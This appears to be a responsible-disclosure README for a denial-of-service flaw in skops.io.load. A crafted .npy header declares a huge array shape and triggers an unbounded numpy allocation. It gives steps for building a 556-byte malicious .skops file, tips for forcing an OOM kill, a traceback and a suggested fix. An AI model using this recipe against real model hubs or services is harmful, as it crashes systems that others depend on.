YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
skops.io.load: unbounded allocation from attacker-controlled numpy .npy shape metadata in NdArrayNode._construct
Category: Denial of Service (unbounded memory allocation / OOM)
Target: skops-dev/skops
Affected version tested: skops 0.14.0 (latest release), numpy 2.5.1, Python 3.13
Attack surface: skops.io.load() with default trusted=None β no trusted= bypass required
Severity: Medium/High (DoS). A single ~556-byte .skops file crashes/OOM-kills any process that loads it via the default, documented-secure API.
This is a private, gated proof-of-concept repository for a huntr disclosure. It is not a public exploit release.
Summary
skops.io.load() deserializes a numpy array member of a .skops archive by handing the raw, verbatim .npy bytes (read straight from the zip member) to numpy.load(..., allow_pickle=False). numpy.lib.format.read_array then allocates the entire array with numpy.ndarray(count, dtype=dtype), where both count (product of the shape tuple) and dtype (descr) are taken entirely from the untrusted .npy header. skops imposes no bound on the declared array size and never compares it against the actual member length / remaining byte-stream size.
Because numpy.ndarray is on skops' built-in default trusted list, this code path is reached under a plain skops.io.load(file) (trusted=None) β no trusted= argument or bypass is needed. The allocation happens inside _construct() after audit_tree() has already passed.
Critically, get_untrusted_types() returns [] for the malicious payload. A user who follows skops' own documented secure workflow (call get_untrusted_types, review the untrusted types, then load with the reviewed allow-list) sees nothing to review and still crashes on load.
Distinct from the known .skops zip decompression bomb
This is not the zip-inflation decompression-bomb class. In this PoC every zip member is STORED (method 0, uncompressed) β compress_size == file_size, i.e. a compression ratio of exactly 1.0, provably not a zip bomb. The amplification comes purely from numpy shape metadata declaring a huge array with zero backing data bytes, in a different code path (skops/io/_numpy.py::NdArrayNode._construct β np.load β numpy read_array), not from zip decompression.
Root cause
File: skops/io/_numpy.py
Load path β the raw .npy bytes are read verbatim from the zip member (state["file"]) with no size check:
class NdArrayNode(Node):
def __init__(self, state, load_context, trusted=None):
super().__init__(state, load_context, trusted)
self.type = state["type"]
self.trusted = self._get_trusted(
trusted, [np.ndarray] + NUMPY_DTYPE_TYPE_NAMES # numpy.ndarray is DEFAULT-trusted
)
if self.type == "numpy":
self.children = {
"content": io.BytesIO(load_context.src.read(state["file"])) # raw attacker bytes
}
...
def _construct(self):
# Dealing with a regular numpy array, where dtype != object
if self.type == "numpy":
content = np.load(self.children["content"], allow_pickle=False) # <-- allocates from header
...
return content
Inside numpy (numpy/lib/_format_impl.py::read_array):
array = numpy.ndarray(count, dtype=dtype) # count = prod(shape), dtype = descr, both from the .npy header
Both shape and descr are attacker-controlled header fields. skops never validates that prod(shape) * dtype.itemsize is consistent with the number of bytes actually present in the member. A tiny header can therefore request an arbitrarily large allocation.
The audit (audit_tree() / get_untrusted_types()) only inspects types, and numpy.ndarray is trusted by default β so the audit passes with an empty untrusted-types list while the size claim in the header is never examined.
Proof of Concept
- Save a benign ndarray to establish the archive layout and obtain the
.npymember name fromschema.json:import numpy as np, skops.io as sio sio.dump(np.arange(5, dtype="f8"), "benign.skops") - Craft a 128-byte
.npyconsisting of only a header (no data bytes) that declares a giant shape:- magic
\x93NUMPY\x01\x00+ 2-byte header length + padded header dict {'descr': '<f8', 'fortran_order': False, 'shape': (1000000000000,)}
- magic
- Rebuild the
.skopszip withZIP_STORED(uncompressed) using the originalschema.jsonplus this tiny.npyunder the same member name. Resulting file: 556 bytes, every memberSTORED. - Call
skops.io.load("evil.skops")with defaulttrusted=None. numpy attempts to allocate 7.28 TiB for shape(1000000000000,)/float64and raisesnumpy._core._exceptions._ArrayMemoryError, aborting the load.
Amplification: 556 bytes on disk β 7.28 TiB requested allocation (1.4 Γ 10ΒΉβ°Γ). An attacker can tune shape to sit just under numpy's address-space heuristic so the process commits real pages and gets OOM-killed instead of receiving a clean exception.
Artifacts produced: evil.skops (556 bytes) and benign.skops (614 bytes negative control).
Captured evidence (verbatim)
=== NEGATIVE CONTROL: benign.skops via default load ===
untrusted types: []
loaded OK: <class 'numpy.ndarray'> [0. 1. 2. 3. 4.]
=== ATTACK: evil.skops via default load() (trusted=None) ===
untrusted types: []
Traceback (most recent call last):
File "/home/kali/hunt-workspace/skops-2ndbug-venv/lib/python3.13/site-packages/skops/io/_persist.py", line 152, in load
instance = tree.construct()
File "/home/kali/hunt-workspace/skops-2ndbug-venv/lib/python3.13/site-packages/skops/io/_audit.py", line 166, in construct
self._constructed = self._construct()
File "/home/kali/hunt-workspace/skops-2ndbug-venv/lib/python3.13/site-packages/skops/io/_numpy.py", line 88, in _construct
content = np.load(self.children["content"], allow_pickle=False)
File ".../numpy/lib/_format_impl.py", line 862, in read_array
array = numpy.ndarray(count, dtype=dtype)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 7.28 TiB for an array with shape (1000000000000,) and data type float64
Recommended safe workflow (per skops docs) still crashes on the fully-audited path:
get_untrusted_types -> [] (user sees nothing to review -> approves)
CRASH on fully-audited safe path:
Unable to allocate 7.28 TiB for an array with shape (1000000000000,) and data type float64
Zip member evidence (all STORED, method 0 β not a decompression bomb):
evil.skops 556 bytes :: schema.json compress=194 uncompress=194 method=0
<memberid>.npy compress=128 uncompress=128 method=0
benign.skops 614 bytes :: <memberid>.npy compress=168 uncompress=168 method=0
schema.json compress=212 uncompress=212 method=0
Environment: skops 0.14.0 / numpy 2.5.1 / Python 3.13.
Impact
Any application that loads a .skops file from an untrusted source using the default, documented API (skops.io.load(file)) β model hubs, CI pipelines, model-serving endpoints that accept user-supplied skops models β can be crashed or OOM-killed by a sub-1KB file. The skops security model (audit untrusted types before loading) does not protect against this because the payload contains only default-trusted types and the size claim is never surfaced or bounded.
Suggested remediation
- Before calling
np.load, parse the.npyheader (numpy.lib.format.read_magic/read_array_header_*) and reject the array ifprod(shape) * dtype.itemsizeexceeds the number of bytes actually available in the zip member (or a configurable ceiling). numpy stores no compression, so for a well-formed.npythe declared size must equal the member's data-section length; a mismatch is by itself sufficient grounds to reject. - Optionally enforce a configurable maximum total in-memory size across the whole load.
Dedup note
- Distinct from the
.skopszip decompression bomb class (that relies onDEFLATEinflation ratio; here all members areSTORED/uncompressed and the amplification is numpy-shape metadata in the_numpy.pyconstruct path). - Distinct from skops arbitrary-code-execution /
trusted=bypass reports β no untrusted type is involved andget_untrusted_types()returns[]; the default trustednumpy.ndarraypath is what is abused. - Not covered by any published skops CVE at time of writing; the CVE-line for skops concerns audit/type-trust bypass, not unbounded numpy allocation from header metadata.